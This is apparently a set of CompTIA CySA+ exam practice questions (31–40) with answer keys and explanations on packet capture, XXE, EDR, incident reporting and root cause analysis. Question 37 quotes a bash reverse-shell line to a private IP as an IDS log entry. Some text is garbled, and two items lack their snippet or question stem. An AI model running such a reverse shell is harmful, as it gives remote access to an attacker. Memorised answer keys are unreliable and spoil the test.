CompTIA CompTIA CySA+ CS0-003 Questions & Answers

• Question 31:

  A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway. Which of the following commands should the security analyst consider running?

  A. grep [IP address] packets.pcap

  B. cat packets.pcap | grep [IP Address]

  C. tcpdump -n -r packets.pcap host [IP address]

  D. strings packets.pcap | grep [IP Address]

  Correct Answer: C

  The -n flag ensures that numeric IP addresses are not resolved to hostnames, and the -r flag specifies the input pcap file. The host [IP address] expression filters packets that involve the specified IP address, helping the security analyst

  detect connections to the suspicious IP address.

• Question 32:

  Which of the following is the most important factor to ensure accurate incident response reporting?

  A. A well-defined timeline of the events

  B. A guideline for regulatory reporting

  C. Logs from the impacted system

  D. A well-developed executive summary

  Correct Answer: A

  Although all of the options presented are important factors in ensuring accurate incident response reporting, but option A, is generally considered the most important factor. Having a detailed timeline of events allows incident responders to understand the sequence of actions, the duration of the incident, and the relationships between different actions. This helps in identifying the root cause of the incident, understanding its scope, and crafting an effective response strategy.

• Question 33:

  A systems administrator receives reports of an internet-accessible Linux server that is running very sluggishly. The administrator examines the server, sees a high amount of memory utilization, and suspects a DoS attack related to half-open TCP sessions consuming memory. Which of the following tools would best help to prove whether this server was experiencing this behavior?

  A. Nmap

  B. TCPDump

  C. SIEM

  D. EDR

  Correct Answer: B

  In this scenario, where the administrator suspects a DoS attack related to half-open TCP sessions consuming memory, TCPDump would be the best tool to use. It can help prove whether the server is experiencing this behavior by capturing and analyzing the network packets to identify patterns consistent with half-open TCP sessions.

• Question 34:

  A security analyst is validating a particular finding that was reported in a web application vulnerability scan to make sure it is not a false positive. The security analyst uses the snippet below:

  

  Which of the following vulnerability types is the security analyst validating?

  A. Directory traversal

  B. XSS

  C. XXE

  D. SSRF

  Correct Answer: C

  XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and

  to interact with any back-end or external systems that the application itself can access.

  In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.

  References:

  https://portswigger.net/web-security/xxe

  https://portswigger.net/web-security/xxe/xml-entities

  https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

• Question 35:

  Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

  A. Command and control

  B. Data enrichment

  C. Automation

  D. Single sign-on

  Correct Answer: C

  Using an API to insert bulk access requests from a file into an identity management system is an example of automation. Automation involves using technology, like APIs, scripts, or tools, to perform tasks and processes automatically without

  manual intervention.

• Question 36:

  A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device's operating system. Which of the following best meets this requirement?

  A. SIEM

  B. CASB

  C. SOAR

  D. EDR

  Correct Answer: D

  EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can protect against external threats regardless of the device's operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the tools that CompTIA CySA+ covers in its exam objective

  https://www.comptia.org/certifications/cybersecurity-analyst https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered https://resources.infosecinstitute.com/certification/cysa-plus-ia-levels/

• Question 37:

  A security analyst identified the following suspicious entry on the host-based IDS logs:

  bash -i >and /dev/tcp/10.1.2.3/8080 0>and1

  Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

  A. #!/bin/bashnc 10.1.2.3 8080 -vv >dev/null andand echo "Malicious activity" || echo "OK"

  B. #!/bin/bashps -fea | grep 8080 >dev/null andand echo "Malicious activity" || echo "OK"

  C. #!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null andand echo "Malicious activity" || echo "OK"

  D. #!/bin/bashnetstat -antp | grep 8080 >dev/null andand echo "Malicious activity" || echo "OK"

  Correct Answer: D

• Question 38:

  A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat. Which of the following is the best solution to secure the network?

  A. Implement segmentation with ACLs.

  B. Configure logging and monitoring to the SIEM.

  C. Deploy MFA to cloud storage locations.

  D. Roll out an IDS.

  Correct Answer: A

• Question 39:

  Which of the following describes the best reason for conducting a root cause analysis?

  A. The root cause analysis ensures that proper timelines were documented.

  B. The root cause analysis allows the incident to be properly documented for reporting.

  C. The root cause analysis develops recommendations to improve the process.

  D. The root cause analysis identifies the contributing items that facilitated the event.

  Correct Answer: D

  The root cause analysis identifies the contributing items that facilitated the event is the best reason for conducting a root cause analysis, as it reflects the main goal and benefit of this problem-solving approach. A root cause analysis (RCA) is a process of discovering the root causes of problems in order to identify appropriate solutions. A root cause is the core issue or factor that sets in motion the entire cause-and-effect chain that leads to the problem. A root cause analysis assumes that it is more effective to systematically prevent and solve underlying issues rather than just treating symptoms or putting out fires. A root cause analysis can be performed using various methods, tools, and techniques that help to uncover the causes of problems, such as events and causal factor analysis, change analysis, barrier analysis, or fishbone diagrams. A root cause analysis can help to improve quality, performance, safety, or efficiency by finding and eliminating the sources of problems. The other options are not as accurate as the root cause analysis identifies the contributing items that facilitated the event, as they do not capture the essence or value of conducting a root cause analysis. The root cause analysis ensures that proper timelines were documented is a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting timelines can help to establish the sequence of events and actions that led to the problem, but it does not necessarily identify or address the root causes. The root cause analysis allows the incident to be properly documented for reporting is also a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting and reporting incidents can help to communicate and share information about problems and solutions, but it does not necessarily identify or address the root causes. The root cause analysis develops recommendations to improve the process is another possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Developing recommendations can help to implement solutions and prevent future problems, but it does not necessarily identify or address the root causes.

• Question 40:

  A. Any discovered vulnerabilities will not be remediated.

  B. An outage of machinery would cost the organization money.

  C. Support will not be available for the critical machinery.

  D. There are no compensating controls in place for the OS.

  Correct Answer: A

  As the OS that controls the business-critical machinery is approaching its end-of-life date, it means that the OS will no longer receive updates and security patches from the vendor. This leaves the OS and the machinery susceptible to

  potential security breaches and attacks that could exploit these unpatched vulnerabilities.